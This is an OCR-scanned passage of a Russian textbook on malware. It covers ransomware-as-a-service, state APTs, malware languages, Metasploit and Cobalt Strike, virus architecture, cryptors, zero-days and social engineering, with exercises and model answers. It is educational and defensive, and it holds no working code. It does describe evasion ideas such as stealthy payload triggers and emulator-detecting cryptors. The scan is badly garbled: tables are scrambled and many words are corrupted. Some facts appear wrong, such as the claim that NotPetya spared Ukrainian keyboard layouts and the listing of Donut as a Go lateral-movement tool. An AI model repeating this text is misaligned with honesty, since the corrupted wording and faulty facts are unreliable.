настраивать С&С-сервсры, обеспечивать анонимность. Это ограничивало круг
злоумышленников квалифицированными специалистами
С появлением MaaS порог входа резко снизился.
Стоимость аренды вымогателя (RaaS) составляет от 50 до нескольких сотен
долларов в месяц или процент с выкупов (affiliate model).
Стилеры продаются за фиксированную цену ($50-$200 за подписку на месяц).
Крипторы и обфускаторы продаются отдельно, цена —десятки долларов.
Панели управления ботнетами сдаются в аренду с техподдержкой.
Инструкции и обучающие видео прилагаются
Теперь любой желающий, не умеющий программировать, может за $100—$500
запустить полноценную кампанию’ купить/арендовать вредоносное ПО,
обфускагор, список email-адресов для рассылки, шаблоны фишинговых писем.
Доходность может в десятки раз превышать вложения при успешной атаке.
Это привело к демократизации киберпреступности и экспоненциальному росту
числа атак. Борьба усложнилась, теперь злоумышленником может быть кто
угодно, а не только технический элитарий.
4.4. Государственные программы и кибершпионаж
На высшем уровне сложности находятся вредоносные программы,
создаваемые или спонсируемые государствами. Это не просто вирусы, а
компоненты кибероружия, предназначенные для шпионажа, саботажа или
подготовки театра военных действий. Государственные вредоносные
программы характеризуются:
Продвинутыми техниками: использование нескольких уязвимостей нулевого
дня, уникальные алгоритмы шифрования, модульная архитектура, способность
годами оставаться незамеченными.
Целевым характером: атакуются конкретные отрасли, предприятия,
критическая инфраструктура (АСУ ТП, энергетика, военные сети).
Значительными ресурсами: над ними работают команды
высококвалифицированных специалистов с бюджетом в миллионы долларов.
Stuxnet (2010): самый известный пример. Червь, нацеленный на центрифуги
иранского завода по обогащению урана. Он не просто воровал данные — он
физически разрушал оборудование, изменяя скорость вращения центрифуг,
при этом подделывая показания датчиков, чтобы онера горы ничею не
заподозрили. Stuxnet использовал четыре О-day уязвимости, подписанные
цифровые сертификаты и был доставлен, предположительно, через флешку.
Duqu, Flame, Gauss, Equation Group: целая экосистема шпионского ПО,
вероятно, связанная с АНБ США. Flame — один из самых сложных образцов,
размером в 20 МБ, с модулями для записи звука с микрофона, снятия
скриншотов, перехвата Bluetooth-устройств, использования собственного С&С-
протокола.
Сейчас ландшафт расширился: десятки стран имеют наступательные
кибервозможности. Россия, Китай, Северная Корея, Израиль, Великобритания,
Иран активно разрабатывают или применяют подобное ПО. АРТ-группировки
(Advanced Persistent Threat) действуют под патронажем спецслужб.
Этические и правовые дилеммы: легитимно ли государству создавать
вредоносное ПО? Одни утверждают, что это необходимо для обороны и
сдерживания (аналогично ядерному оружию), другие — что это подрывает
доверие к цифровой инфраструктуре, легитимизирует киберпреступность и
может привести к непредсказуемой эскалации.
| Задачи к подразделу 4.4
1. Сравните тактики двух АРТ-групп (на выбор) с точки зрения
используемых вредоносных инструментов и целей.
Решение:
Сравним АРТ28 (Fancy Bear), связываемую с ГРУ РФ, и АРТ41, связываемую с
Китаем.
Характеристика API 28 (Fancy Bear)
Цели
Государственные учреждения, НАТО,
оборонные предприятия,
политические партии, медиа.
АРГ41 (Winnti Group)
Широкий спектр:
технологические
компании,
здравоохранение,
телекоммуникации,
игровая индустрия.
Мотивация
Геополитический шпионаж, влияние
на выборы, подрыв доверия.
Промышленный
шпионаж (кража
интеллектуальной
собственности) в
сочетании с
финансовой выгодой
(вымогатели,
криптомайнинг).
АРТ41 (W'nnti Group)
Характеристика APT28 (Fancy Bear)
Инструменты Собственные бэкдоры (X-Agent, X- Tunnel), фишинговые платформы, эксплойты О-day. Упор на скрытность и долговременное присутствие. Модульные трояны (PlugX, Cobalt Strike), веб-шеллы, инструменты для lateral movement, программы- вымогатели (Cobalt, Clop). АРТ41 известна как «двойная угроза».
Тактики Фишинг через поддельные email- домены, атаки через публичные Wi- Компрометация цепочек поставок, взлом веб-сайтов для watering hole атак,
Fi, эксплуатация уязвимэаей в почтовых серверах. использование уязвимостей в публичных приложениях (Exchange, VPN). Высокий, с элементами автоматизации и
Уровень Очень высокий, но инструменты использованием
сложности часто переиспользуются. коммерческих пентестерских фреймворков
Сравнение показывает, что APT28 больше сосредоточена на чистый шпионаж,
а АРТ41 сочетает шпионаж с откровенно криминальными методами
монетизации, что размывает границы между государственной и финансовой
киберпреступностью
2. Почему государственные вредоносные программы часто используют
несколько эксплойтов нулевого дня? Обоснуйте.
Решение:
Многоэтапность атаки: сложная операция включает стадии проникновения,
закрепления, распространения, эксфильтрации. Для каждой стадии может
потребоваться отдельный эксплойт под разные системы (сервер, рабочая
станция, промышленный контроллер).
Гарантия успеха: если одна уязвимость будет закрыта или обнаружена
зашитой, дублирующие эксплойты обеспечивают достижение цели. Это
особенно важно при атаках на хорошо защищённые объекты.
Сохранение доступа: даже после обнаружения одной из уязвимостей и
выпуска патча, другие C-day позволяют сохранить присутствие в системе.
Сложность анализа: большое количество эксплойтов затрудняет реверс-
инжиниринг и атрибуцию. Защитники могут не понять полной картины, пока
все компоненты не будут проанализированы.
Эксклюзивность и высокая стоимость разработки: государства могут
позволить себе покупать или разрабатывать дорогие О-day, в то время как для
обычных преступников это экономически невыгодно.
3. Этическая дискуссия: может ли государство иметь легитимное право на
разработку вирусов для обороны? Составьте аргументы «за» и «против».
Решение.
Аргументы «ЗА»:
Активная оборона и сдерживание: наличие наступательного
киберпотенциала (аналогично ядерному) может сдерживать потенциальных
агрессоров от атак на критическую инфраструктуру.
Контрразведка: шпионские вирусы позволяют отслеживать действия
террористов, враждебных государств, предотвращать теракты и утечки данных.
Исследования для защиты: чтобы разработать эффективные средства
зашиты, необходимо понимать техники противника. Государственные
лаборатории создают вирусы в изолированной среде для тестирования
оборонительных систем.
Специфические операции: в условиях вооружённого конфликта кибероружие
может вывести из строя военную инфраструктуру противника с меньшими
жертвами, чем традиционные бомбардировки.
Аргументы «ПРОТИВ»:
Подрыв глобальной безопасности: государственные вредоносные
программы неизбежно утекают в дикую среду (EternalBlue -» WannaCry). Это
ставит под угрозу всех, включая гражданское население.
Отсутствие правовых рамок: разработка и применение кибероружия не
регулируются международным правом так же чётко, как обычное и ядерное
оружие. Это ведёт к гонке вооружений без правил.
Эрозия доверия: массовое использование шпионского ПС подрывает доверие
к цифровой инфраструктуре, программному обеспечению и интернету в
целом, что тормозит инновации и глобализацию.
Легитимизация преступности: если государства создают вредоносное ПО, это
размывает моральные границы и может использоваться как оправдание
киберпреступниками.
Компромиссная позиция’ разработка может вестись исключительно в
оборонительных целях с полным контролем и недопущением утечек, с
обязательным уведомлением вендоров о найденных уязвимостях. Однако
реальность показывает, что такой контроль почти невозможен.
Глава 5. Инструментарий и анатомия разработки.
Понимание того, на чем и как пишутся вредоносные программы, необходимо
не для их воспроизведения, а для выработки эффективной защиты. Каждый
язык, фреймворк или техника обхода оставляют характерные артефакты и
слабости, которые аналитик может использовать для детектирования и
нейтрализации угрозы. В этой главе рассматривается исключительно
концептуальная сторона: никаких готовых рецептов для злоумышленников,
только знание, которое помогает защищать системы.
5.1. Языки программирования (ассемблер, C/C++, Python, Go)
Выбор языка для вредоносной программы — это всегда компромисс между
размером конечного кода, скоростью разработки, сложностью анализа и
совместимостью с целевой средой. У злоумышленников, как и у легитимных
разработчиков, есть свои предпочтения в зависимости от задачи
Ассемблер — язык, максимально приближенный к машинному коду. Он даёт
полный контроль над размером и поведением программы, позволяя создавать
крошечные вирусы, которые помещаются в несколько сотен байт. Это
исторически основной язык для загрузочных и файловых вирусов, а также для
написания шелл-кодов (вредоносной нагрузки, исполняемой после
эксплуатации уязвимости) Однако разработка на ассемблере чрезвычайно
трудоёмка и требует глубоких знаний архитектуры конкретного процессора и
операционной системы. Сегодня ассемблер применяется в основном для
низкоуровневых компонентов’ обфусцированных дропперов. анти-отладочных
приёмов руткит драйверов. Аналитик, владеющий ассемблером, способен
реконструировать алгоритм даже из обфусцированного бинарного кода.
С и C+ + дают баланс между низкоуровневым доступом (прямая работа с
памятью, указатели, iniine-ассемблер) и переносимостью. На С написано
огромное количество вредоносного ПО — от банковских троянов до
вымогателей. Стандартная библиотека позволяет компактно реализовать
сетевые функции, работу с файлами и криптографию. Код на C/C++ после
компиляции относительно легко анализировать (особенно при отсутствии
агрессивной обфускации), что делает его удобной мишенью для реверс-
инжиниринга.
Python — интерпретируемый язык сверхвысокой продуктивности.
Злоумышленники используют его для быстрого прототипирования, написания
агентов С&С-серверов, скриптов сбора данных. Однако Python редко
применяется для создания классических файловых вирусов, потому что для
выполнения кода нужен интерпретатор, а скомпилированные PyEnstaller-
сборки громоздки и легко детектируются. Зато в пентест-инструментарии
(Impacket, CrackMapExec, Empire) Python занимает централоное место, и тот же
инструментарий активно применяется в реальных атаках.
Go (Golang) — компилируемый язык с лаконичным синтаксисом, который
набирает популярность у злоумышленников Его преимущества: простая кросс-
компиляция под разные ОС, статическая линковка (получается единый
исполняемый файл без внешних зависимостей), хорошая производительность.
Образцы на Go сложнее анализировать, чем C/C + +, из-за нестандартного
рантайма и соглашений о вызовах. Вымогагели (Ryuk, Ekans), бэкдоры
(WellMess) и инструменты для горизонталоного перемещения (Donut) уже
написаны на Go.
Знание языков программирования необходимо защитнику для быстрой
классификации неизвестного образца и выбора пра - ильной стратегии анализа:
дизассемблировать, декомпилировать или анализировать скрипт напрямую.
| Задачи к подразделу 5.1
1. Напишите таблицу «плюсы и минусы языков для создания
вредоносного ПО» (без демонстрации вредоносного кода), отразив
компактность, скорость, обход песочниц.
Решение.
Язык Компакт ность (размер) Скорость выполне НИЯ Сложност ь анализа Обход песочниц Типичные сценарии использова НИЯ
Ассем Очень высокая Максима Очень высокая Высокая (кастом ны е анти- Шелл-коды, загрузочные вирусы,
блер (байты) льная (запуганн ый код) эмуляцион ные низкоуровнев
ые руткиты
трюки)
Типичные
Язык Компакт кость (размер) Скорость выполне НИЯ Сложност ь анализа Обход песочниц сценарии использова НИЯ
C/C+ + Высокая (килобай ты) Высокая Средняя (привычн ая структура ) Средняя (требуются дополните льные обфускато ры) Трояны, вымогатели, бэкдоры, Файловые вирусы
Низкая
(требуете
Python я интерпр етатор или Pylnstalle г — десятки МБ) Низкая Низкая (легко читается, если не обфусцир ован) Низкая (Pylnstaller легко распаковы вается) С&С-скрипты, инструменты пентеста, агенты- загрузчики
Go Средняя (единый бинарни к, но от 1 МБ из-за рантайм а) Высокая Высокая (нестанда ртный рантайм, сборщик мусора) Высокая (меньше известных сигнатур эмуляторе в) Современные вымогатели, бэкдоры. кроссплатфор менные агенты
2. Почему Python редко используется для создания файловых вирусов, но
популярен в инструментарии пентестеров?
Решение:
Файловый вирус должен быть компактным, незаметным и выполняться в
целевой системе без дополнительных зависимостей. Python же требует
наличия интерпретатора, который не установлен по умолчанию в целевых
средах (особенно на клиентских Windows). Сборка через Pylnstaller создаёт
большой файл, который легко заметить и проанализировать. Кроме того,
управление низкоуровневыми структурами РЕ-файло, из Python неудобно.
Пентестеры же работают t контролируемых условиях, часто на собственных
машинах или после получения доступа к системе, где они могут установить
зависимости. Для них важна скорость написания скрипта, читаемость и
возможность быстро модифицировать код. Python с его богатой экосистемой
(библиотеки для работы с сетью, криптографией, парсингом) идеально
подходит для автоматизации задач пост-эксплуатации и прототипирования
атак. Таким образом, ниша Python — инструментарий нападающего, а не
конечный вредоносный продукт для массового распространения
3. Проанализируйте утверждение: «Знание ассемблера необходимо
вирусному аналитику». Согласны ли вы? Приведите три аргумента.
Решение.
Я полностью согласен с утверждением.
Анализ обфусцированного кода: злоумышленники часто обфусцируют свои
программы гак, что высокоуровневые декомпиляторы дают нечитаемый или
неполный результат. Ассемблер — это «родной» язык процессора, на котором
виден каждый шаг выполнения Без понимания инструкций х86/х64
невозможно восстановить логику вредоносного алгоритма, особенно если
применены анти-дизассемблерные трюки.
Понимание низкоуровневых атак: руткиты, буткиты, шелл-коды пишутся с
расчётом на конкретные структуры ядра, таблицы прерываний, особенности
загрузчика. Чтобы понять, как вирус скрывает процесс или перехватывает
системные вызовы, нужно читать код на ассемблере, работающий на уровне
Ring 0.
Динамический анализ и отладка: при пошаговом выполнении в отладчике
(WinDbg, x64dbg) аналитик видит именно ассемблерные инструкции, Только
зная ассемблер, можно поставить точку останова в нужном месте, понять
содержимое регистров и памяти и расшифровать данные, которые вирус
обрабатывает на лету.
5.2. Среды разработки и фреймворки (Metasploit, конструкторы вирусов)
Злоумышленники, как и обычные разработчики, используют фреймворки,
ускоряющие рутинные операции. Однако ключевое отличие в том, что эти
инструменты часто двойного назначения они созданы для легитимного
тестирования на проникновение, но легко адаптируются для атак.
Metasploit Framework — самый известный пример. Это открытая платформа
для разработки и исполнения эксплойтов. Она включает базу модулей для
сканирования, эксплуатации уязвимостей, закрепления в системе и пост-
эксплуатации. Генератор полезных нагрузок (msfvenom) позволяет создать
исполняемый файл, DLL, скрипт или шелл-код с заданным типом обратного
соединения (reverse shell, meteipreter). Злоумышленник может, например,
сгенерировать троян, который при запуске соединяется с его С&С-сервером.
Metasploit активно применяется в реальных атаках, но также незаменим для
пентестеров и защитников, моделирующих угрозы. Разработчики фреймворка
внедряют ограничения (предупреждения в лицензии, сигнатуры в стандартных
полезных нагрузках), но обходятся они легко.
Cobalt Strike — коммерческий аналог, изначально созданный для red teaming
(имитации действий противника). Функционал: Beacon (скрытный агент),
горизонтальное перемещение, кража токенов, сбор данных, фишинг. Лицензия
стоит дорого, но пиратские версии и утечки (взломанная версия 4.0) сделали
его популярным среди АРТ-группировок и вымогателей. Cobalt Strike
предоставляет мощный и удобный интерфейс, позволяя управлять ботнетом
через графический клиент.
Конструкторы вирусов — программы, которые позволяют создавать
вредоносный код без навыков профаммироаания Пользователь выбирает из
меню тип вируса, способы заражения, нагрузку (шутка, вандализм, кража
данных), а конструктор генерирует исполняемый файл. Известные
примеры: Virus Creation Laboratory (VCL) для MS-DOS, PS-MPC, Senna Spy
Generator. Эти инструменты породили волну «скрилт-кидди» —
малоквалифицированных злоумышленников, которые создавали тысячи
вариаций примитивных вирусов, перефужая антивирусные лаборатории.
Современные аналоги — панели управления вымогателями (RaaS-платформы)
и сти.лер-билдеры, которые распространяются по подписке.
Опасность конструкторов:
Лавинообразный рост количества образцов, который перегружает системы
автоматического анализа.
Низкое качество кода создает мною шума, отвлекая от целевых атак.
Демократизация преступности: порог входа снижается до нуля, и атаки
становятся массог-ыми.
| Задачи к подразделу 5.2
1. Сравните функционал Metasploit и коммерческого инструмента Cobalt
Strike. Почему оба используются в реальных атаках?
Решение.
Функция Metasploit (Community) Cobalt Strike
Эксплойты Огромная база, регулярно Ограниченный набор
встроенных, но
Д гонт пополняется Moterpreter (стабильный, можно импортировать Beacon (гибкий, скрытный, поддерживает
ЛА1 СП 1 функциональный) несколько
Интерфейс Командная строка или веб- протоколов С&С) Полноценный графический клиент с
ишерфеис (Metasploit Community) удобной
Сигнатуры известны, легко визуализацией ботнета Постоянно обновляется, обходит
Скрытность
детектируется многие
антивирусы «из коробки»
Поддерживает
несколько
Совместная работа Ограниченная операторов,
сессии можно
передавать
Г оризонтальное
перемещение
Модули для PsExec, WMI и т.д.
Расширенные
средства
(Lateral
Функция
Metasploit (Community)
Cobalt Strike
Movement,
Session Passing)
Лицензия
Бесплатная (есть коммерческая
версия)
Дорогая,
закрытая, но
есть утечки
Оба используются, потому что Metasploit — бесплатный, универсальный и
привычный «швейцарский нож», a Cobalt Strike предоставляет более
изощренные возможности для длительного скрытного присутствия, что ценится
в АРТ-операциях. Часто злоумышленники комбинируют их: Metasploit для
первоначального проникновения, a Cobalt Strike для закрепления и целевого
сбора данных,
2. Проведите исследование: найдите архивный скриншот конструктора
вирусов VCL и опишите, какие функции он предоставлял. Почему такие
инструменты опасны?
Решение:
(В реальном задании студент ищет скриншоты VCL в архивных материалах.)
Описание VCL: Графическая среда под MS-DOS, где пользователь мог из
выпадающих списков и чекбоксов сконфигурировать вирус. Доступные
функции:
Выбор типа заражения (COM, EXE, Boot).
Выбор нагрузки: вывести сообщение, сыграть мелодию, удалить файлы,
отформатировать диск.
Настройка триггера активации (дата, количество заражений).
Выбор оелс-гехноло! ий (перехват INT 13h, маскировка размера).
Включение полиморфного движка (MtE).
Готовый вирус генерировался одним нажатием кнопки.
Опасность: человек, вообще не умеющий программировать, мог создать
деструктивный вирус за несколько минут. Это привело к появлению тысяч
примитивных, но часто разрушительных вирусов, которые перегружали
антивирусные компании и наносили значительный суммаоный ущерб,
сравнимый с работой небольшой группы квалифицированных
вирусописателсй.
3. Какие меры принимают разработчики Metasploit, чтобы ограничить
злонамеренное использование?
Решение:
Лицензионное соглашение: явно запрещает использование в незаконных
целях, хотя это не техническая мера.
Сигнатуры: стандартные полезные нагрузки (например,
meterpreter/reverse_tcp) имеют известные антивирусным вендорам сигнатуры,
поэтому «голый» сгенерированный файл детектируется большинством
антивирусов.
Ограничения в модулях: некоторые агрессивные эксплойты требуют ручной
активации или не включены в стандартную поставку.
Предупреждения в консоли: при запуске Metasploit выводит дисклеймер о
том, что инструмент предназначен только для авторизованного тестирования.
Сообщество и документация: официальные ресурсы ориентированы на
пентестероь и защитникоз, обучая этичному использованию.
Однако все эти меры легко обходятся, так как код открыт, и злоумышленники
могут модифицировать фреймворк или использовать обфускаторы для обхода
сигнатур.
5.3. Архитектура типового вируса: поиск жертв, код заражения, триггер
полезной нагрузки
Большинство вирусов имеет модульную архитектуру, что позволяет гибко
менять компоненты и повторно использовать код. Даже если вирус написан
монолитно, алгоритмически он распадается на три ключевых модуля.
1. Модуль поиска жертв (репликатор).
Этот модуль отвечает за обнаружение подходящих объектов для заражения.
Его задачи: перебор файлов в каталогах, проверка их пригодности (формат, не
заражены ли они уже, не защищены ли), выбор метода заражения. Алгоритмы
поиска варьируются от простого линейного обхода текущей директории до
рекурсивного сканирования всего дерева каталогов с фильтрацией по
расширениям. Сетевые компоненты (черви) сканируют IP-адреса, ARP-таблицы,
общие ресурсы.
2. Модуль заражения (инфектор).
Непосредственно выполняет внедрение кода в тело жертвы. Для PE-файлов он
модифицирует структуру заголовка: добавляет новую секцию или расширяет
существующую, изменяет точку входа (EntryPoint), корректирует SizeOflmage. В
СОМ-файлах дописывает код в конец и заменяет начало на переход. Код
заражения обязан быть надежным, чтобы не повредить файл-носитель (иначе
вирус будет сразу обнаружен). Многие вирусы содержат процедуры
восстановления оригинального начала файла, чтобы программа-хозяин
работала корректно.
- Дописать код в конец
- Изменить Entrypoint
- Записать сигнатуру
- Закрыть файл
I---------------------------------1
Модуль триггера
- Проверить условие
(дата, счётчик, команда)
1 т-----------т------------1
I условие I условие
| не выполи| выполнено
▼ ▼
------------------1 I-------------------
| Передать управл.| | Модуль нагрузки
| прогр.-хозяину | | - Зашифровать
(оригинальный ЕР)| | - Отправить данные|
1 1 | - Показать сообщ. |
I__________________I
Блок-схема наглядно демонстрирует последовательность действий и
разделение ответственности.
2. Почему модуль распространения стараются делать асинхронным и
неблокирующим для основной работы хозяина?
Решение:
Если программа-хозяин при запуске «зависает» на несколько секунд, пока
вирус сканирует тысячи файлов и заражает их, пользователь сразу заметит
неладное: приложение перестанет нормально запускаться, будет долго висеть
на старте. Это вызовет подозрения, и пользователь может проверить систему
антивирусом. Асинхронный подход (запуск заражения в отдельном потоке,
возможно, с задержкой) позволяет программе быстро еыйти на нормальный
режим работы, а вирус тем временем тихо делает своё дело в фоне Кроме
того, для антивирусного мониторинга единый блокирующий вызов файловых
операций — яркий поведенческий признак.
3. Придумайте три разных триггера активации нагрузки, кроме даты и
количества заражений.
Решение.
1 Сенсорный триггер: активация ггри обнаружении определённой программы в
памяти. Например, вирус активируется, когда пользователь запускает
программу интернет-банкинга, и перехватывает вводимые данные.
2 Сетевой триггер: активация при получении определённой команды с
управляющего сервера (например, «зашифровать», «атаковать цель X»,
«самоуничтожиться»). Это даёт злоумышленнику гибкость’ вирус может тихо
ждать месяцами, не проявляя себя
3 . Геолокационный/языковой триггер: вирус проверяет языковые настройки
ОС или IP-адрес страны и активируется только при попадании в список
целевых государств (или, наоборот, избегает определённых стран, чтобы не
привлекать внимания местных правоохранительных органов). Например,
вымогатель NotPetya не шифровал диски, если раскладка клавиатуры была
украинской, хотя сам нанёс огромный ущерб Украине косвенно
5.4. Обход антивирусных средств на этапе сборки: обфускация,
упаковщики, крипторы
Чтобы готовый вредоносный файл не был сразу обнаружен антивирусом,
злоумышленники применяют техники, изменяющие его внешний вид без
изменения функциональности. Это делается до распространения, на этапе
«сборки» атаки.
Обфускация кода — внесение изменений в исходный код или бинарник,
запугывающих его структуру, но сохраняющих ло1 ику. Примерь!
переименование переменных в бессмысленные строки, вставка
неиспользуемых инструкций (мусор), разбиение линейных участков на
множество мелких с переходами, шифрование строк. Обфускаторы могут
работать на уровне исходного текста (скрипты) или на уровне машинного кода
(LLVM -обфускатор).
Упаковщики (packers) — программы, которые сжимают или шифруют
исполняемый файл и добавляют распаковщик (стаб). При запуске стаб
восстанавливает оригинальный код в памяти и передаёт ему управление.
Легитимные упаковщики (UPX, ASPack) используются разработчиками для
уменьшения размера файла, но злоумышленники применяют их для сокрытия
вредоносного кода от статического анализа. Антивирусы часто имеют
распаконщики популярных форматов, но кастомные упаковщики создают
проблемы.
Крипторы (cryptors) — специализированные обфускаторы для вредоносного
ПО. Они шифруют тело вируса уникальным ключом и добавляют
расшифровщик. В отличие от упаковщиков, крипторы генерируют уникальный
стаб для каждой сборки, применяют анти-отладочные трюки, могут разбивать
расшифровку на множество стадий. Услуга «крипт» (периодическая пересборка
вируса с новым криптором) — стандартная практика для обхода сигнатурного
детектирования.
Как антивирусы борются:
Статическая распаковка: эмуляция кода до тех пор, пока не будет
распаковано оригинальное тело, и затем его сигнатурный анализ.
Эвристики на упаковщики: высокая энтропия секций, малое количество
импортируемых функций, наличие кода, характерного для распаковщиков.
Динамический анализ: выполнение в песочнице и наблюдение за тем, какой
код появляется в памяти после распаковки.
Гонка вооружений здесь идёт постоянно- крипторы учатся определять
эмуляторы и песочницы, а защитные системы — более качественно
эмулировать реальную среду.
| Задачи к подразделу 5.4
1. Дайте характеристику методам статического обхода: почему простой
XOR шифратор уже не работает против современных антивирусов?
Решение:
XOR-шифрагор — это простейший крипгор, который применяет операцию XOR
с фиксированным ключом к телу вируса. Для ею расшифровки в эмуляторе
антивируса требуется выполнить всего несколько инструкций (цикл с XOR).
Согременные антивирусы.
Содержат сигнатуры самого XOR-расшифровщика
Эмулирую) цикл и получают расшифрованное тело за миллисекунды.
Анализируют энтропию: зашифрованная XOR-область имеет высокую
энтропию, что подозрительно для легитимного кода.
Поэтому простой XOR не прячет код от эмуляции, и антивирус легко
добирается до оригинального тела и детектирует его по сигнатуре.
2. Объясните разницу между run-time упаковщиком и криптором с точки
зрения сигнатурного анализа.
Решение.
Run-time упаковщик (например, UPX) использует известный алгоритм сжатия и
фиксированный стаб-распаковщик. Сигнатура такою упаковщика широко
известна, и антивирус может сначала распаковать файл (UPX легко
детектируется и разархивируется автоматически), а затем проанализировать
оригинальное содержимое.
Криптор же генерирует уникальный стаб для каждой сборки, применяет
полиморфные техники к расшифровщику, разбивает расшифровку на этапы,
добавляет мусор. Его стаб не имеет фиксированной сигнатуры. Антивирус не
может просто «узнать» криптор и применить стандартную распаковку — ему
приходится эмулировать выполнение до полной расшифровки. Это занимает
больше времени и ресурсов и может быть обойдено, если криптор
обнаруживает эмуляцию и завершает работу.
3. Предложите алгоритм, с помощью которого эмулятор антивируса мог
бы распознать, что программа упакована, и «распаковать» её в памяти
для анализа.
Решение:
Алгоритм эмулятора для обнаружения и распаковки упакованного файла:
1 Предварительный анализ:
о Проверить энтропию секций. Если секция имеет высокую энтропию (почти
случайные данные) и права на исполнение — подозрение на упаковку.
о Проверить таблицу импорта: если импортируется только
LoadLibrary/GetProcAddress или очень мало функций, это типично для
упакоещиков/кринторов.
2. Запуск эмуляции:
о Начать эмулировать код с точки входа.
о Отслеживать все обращения к памяти, особенно запись в исполняемые
области.
3. Обнаружение распаковки:
о Контролировать циклы, которые читают из области с высокой энтропией,
модифицируют данные и записываю! их в другую область памяти (типичный
цикл расшифровки/распаковки).
о Фиксировать момент, когда выполняется передача управления (JMP/CALL) на
только что записанную область памяти — это признак завершения распаковки.
4. Извлечение распакованного тела:
о Сделать дамп памяти в области, на которую была передача управления. Это и
есть распакованный/расшифрованный код.
5. Анализ дампа:
о Просканировать дамп сигнатурным анализом, как обычный файл.
Этот алгоритм лежит в основе большинства современных эмуляторов,
встроенных в антивирусные движки. Злоумышленники, в свою очередь,
вставляют между распаковкой и передачей управления проверки на эмулятор
(например, задержки по времени, выполнение редких инструкций), чтобы
эмулятор прекратил анализ до завершения распаковки.
Глава 6. Продвинутые техники и векторы атак.
6.1. Уязвимости нулевого дня и эксплойты как транспорт
Уязвимость нулевого дня (zero-day vulnerability) — это программная ошибка, о
которой разработчик ещё не знает, и для которой не существует исправления.
Эксплойт — это код, использующий такую уязвимость для выполнения
произвольных действий (запуск аируса. повышение привилегий, удалённое
выполнение команд). Связка «уязвимость + эксплойт» — это идеальный
транспорт для вредоносной программы, потому что цель не защищена от
атаки.
Механизм работы типичной атаки с применением О-day:
1 Обнаружение уязвимости злоумышленником (или покупка на сором рынке).
2. Создание эксплойта, который, например, формирует вредоносный PDF файл
или сетевой пакет, вызывающий переполнение буфера и передающий
управление на шелл-код.
3. Доставка: эксплойт внедряется в документ, веб-страницу (drive-by загрузка)
или отправляется напрямую на уязвимый сервер.
4 Эксплуатация: при открытии файла или получении пакета уязвимое
приложение выполняет код злоумышленника.
5. Заражение: этот код загружает и запускает основное тело вируса, после чего
вирус продолжает самостоятельное распространение уже без О-day.
Известные примеры
• EternalBlue — эксплойт против SMBvl, использованный в WannaCry и NotPetya.
На момент утечки из АНБ патч существовал всего месяц, и миллионы систем
были уязвимы.
• CVE-2017-0199 — уязвимость в Microsoft Word, позволявшая загрузить
вредоносный НТА-файл просто при открытии документа. Активно
использовалась фишерами до выхода патча.
Опасность C-day в том, что сигнатурный анализ антивируса не может знать о
новой угрозе. Даже проактивные защиты (эвристики, песочницы) могут быть
обойдены, если эксплойт использует неизвестный вектор. Рынок уязвимостей:
стоимость О-day для популярного ПО (iOS, Windows, Chrome) на серых рынках
может достигать миллионов долларов Покупатели — как государства, так и
криминальные группировки. Это стимулирует постоянный поиск новых дыр, а
ответственное разглашение (Responsible Disclosure) становится критичным для
безопасности.
| Задачи к подразделу 6.1
1. Почему вирус, использующий O-day, может заразить полностью
пропатченную с точки зрения известных сигнатур систему?
Решение.
Потому что «пропатченность» означает, что установлены все выпущенные
обновления, закрывающие известные уязвимости. O-day — это уязвимость, для
которой патча еще не существует (или он только что вышел и не установлен).
Система полностью обновлена, но уязьимосгь всё равно присутствует, так как
вендор о ней не знает и не исправил. Эксплойт использует эту брешь, и
антивирус, не имея ни сигнатуры эксплойта, ни правила для данной аномалии.
может пропустить атаку. Таким образом, О-day обходит защиту, основанную на
знании предыдущих угроз.
2. Опишите сценарий, когда вирус доставляется через эксплойт в браузере
(drive-by загрузка), и как современные браузеры этому
противодействуют.
Решение:
Сценарий dnve-by загрузки.
1 Пользователь заходит на скомпрометированный сайт, на котором внедрен
вредоносный код (часто через рекламные сети или взломанные виджеты).
2. Сценарий JavaScript определяет версию браузера и плагинов, ищет уязвимую
комбинацию
3. Найден соответствующий эксплойт (например, для устаревшего Flash Player,
Java- апплета или уязвимости в движке рендеринга),
4. Эксплойт вызысает переполнение буфера или другую ошибку, t ыполняет
шелл-код, который скачивает и запускает вирус без ведома пользователя.
Современные браузеры противодействуют-
• Изоляция процессов (sandboxing): каждый сайт и плагин работают в
ограниченной среде с минимальными правами Даже если эксплойт сработает,
он не получит доступа ко всей системе
• Автоматическое обновление: браузеры (Chrome, Firefox) обновляются
бесшумно и часто, закрывая уязвимости в течение дней.
• Отказ от устаревших плагинов: Flash. Java, Silverlight больше не
поддерживаются и блокируются.
• Site Isolation: страницы разных сайтов выполняются в отдельных процессах,
что предотвращает кражу данных через Spectre-подобные атаки и усложняет
эксплуатацию.
• Контроль целостности кода (CIG), Arbitrary Code Guard (ACG) в Windows
запрещают браузеру выделять память с правами на запись и исполнение
одновременно.
3. Раскройте экономические причины существования серого рынка O-day
уязвимостей.
Решение.
Серый рынок O-day существует из-за разрыва между легальным спросом и
предложением.
• Спрос со стороны государств: спецслужбам и армии нужны инструменты для
шпионажа и киберопераций. Они готовы платить высокую цену за
эксклюзивный доступ.
• Спрос со стороны криминала: вымогатели и ботнеты получают огромную
прибыль, поэтому могут инвестировать часть средств в покупку эксплойтов.
Ограничения легального рынка: программы bug bounty (вознаграждение за
уязвимости от вендоров) обычно платят значительно меньше, чем серая зона,
и требуют раскрытия. Некоторые уязвимости вообше не принимаются по
условиям программ (например, за пределами определённых версий ПО).
Анонимность: продажа через даркнет-площадки позволяет обходить
международные санкции и законы о контроле над экспортом ьооружений
(Wassenaar Arrangement пытается регулировать экспорт эксплойтов, но
реализация сложна).
В результате образуется рынок, где исследователь (или хакер) может продать
уязвимость тому, кто больше заплатит, а не тому, кто её исправит.
6.2. Социальная инженерия: почему самый опасный вирус запускает сам
пользователь
Самый изощрённый эксплойт часто не нужен, если можно убедить
пользователя добровольно запустить вредоносный файл и даже отключить
защиту. Социальная инженерия использует психологические уязвимости
человека: страх, любопытство, жадность, срочность, уважение к авторитету.
Типичные схемы:
Фишинговые письма: «Баша посылка задержана», «Штраф ГИБДД», «Счёт от
бухгалтерии». Вложение — якобы документ, который нужно срочно открыть,
либо ссылка на загрузку.
Ложные обновления: на скомпрометированном сайте появляется
:‘спль1вающее окно, похожее на системное: «Ваш браузер устарел, установите
обновление». Пользователь скачивает троян
USB-флешки: «забытая» флешка на парковке с надписью «Зарплаты 2024»,
«Конфиденциально» Любопытный сотрудник вставляет её в рабочий
компьютер и запускает «документ» — на самом деле вирус.
Техподдержка: звонок якобы из Microsoft с требованием установить
программу удалённо! о доступа
Почему это эффективно:
Человек — слабое звено в цепи безопасности. У него есть права на запуск
приложений, доступ к данным.
